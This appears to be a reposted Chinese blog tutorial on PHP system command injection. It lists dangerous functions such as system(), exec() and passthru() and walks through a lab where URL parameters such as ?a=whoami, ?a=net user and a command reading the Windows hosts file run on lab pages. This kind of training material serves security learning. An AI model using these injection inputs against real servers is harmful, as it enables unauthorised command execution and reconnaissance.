命令执行漏洞——系统命令执行

应用程序有时需要调用一些执行命令的函数,由于服务器对代码中可执行的特殊函数入口没有做过滤,并且用户能够控制这些函数中的参数时,就可以将恶意命令拼接到正常命令中,从而造成命令执行攻击。
命令执行漏洞可以分为远程命令执行(代码执行)和系统命令执行两类,常见危险函数也分为两类:代码执行函数和命令执行函数。

PHP中常见代码执行函数:
array_map()
eval()
assert()
preg_replace()
call_user_func()
$a($b)动态函数

PHP中常见系统命令执行函数:
system()
exec()
shell_exec()
passthru()
popen()
反引号"`"

一、允许系统命令执行的相关函数有:

1、system()

 

 

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

 2、在URL后拼接"?a=ipconfig",访问http://ip/os/system.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/system.php?a=whoami,执行代码


2、exec()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/exec.php

 2、在URL后拼接"?a=ipconfig",访问http://ip/os/exec.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/exec.php?a=whoami,执行代码


3、shell_exec()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/shell_exec.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/shell_exec.php?a=ipconfig,执行代码

3、在URL后拼接"?a=whoami",访问http://ip/os/shell_exec.php?a=whoami,执行代码


4、passthru()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/passthru.php

2、在URL后拼接"?a=ipconfig",访问http://ip/os/passthru.php?a=ipconfig,执行代码

 3、在URL后拼接"?a=whoami",访问http://ip/os/passthru.php?a=whoami,执行代码

5、popen():将命令执行的结果写入到一个文件

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/popen.php

 2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/popen.php?a=1,执行代码,无任何报错

 3、访问http://ip/os/1.txt,查看新建的执行结果的文件

6、反引号

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/fdyh.php

2、在URL后拼接a的参数值,比如"?a=1",访问http://ip/os/fdyh.php?a=1,执行代码,输出想要的结果


6、系统命令执行漏洞利用之执行操作系统命令

原理:

利用系统命令执行漏洞可以执行一些操作系统命令,从而获取重要信息。

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/system.php

2、在URL后拼接"?a=cd",访问http://ip/os/system.php?a=cd,执行代码,查看当前文件的绝对路径

 3、在URL后拼接"?a=dir",访问http://ip/os/system.php?a=dir,执行代码,查看当前目录下的所有文件

 4、在URL后拼接"?a=net user",访问http://ip/os/system.php?a=net user,执行代码,查看所有用户

 5、在URL后拼接"?a=type c:\windows\system32\drivers\etc\hosts",访问http://ip/os/system.php?a=type c:\windows\system32\drivers\etc\hosts,执行代码,查看hosts文件


这篇文章就先写到这里了

猜你喜欢

转载自blog.csdn.net/weixin_54055099/article/details/126909954
今日推荐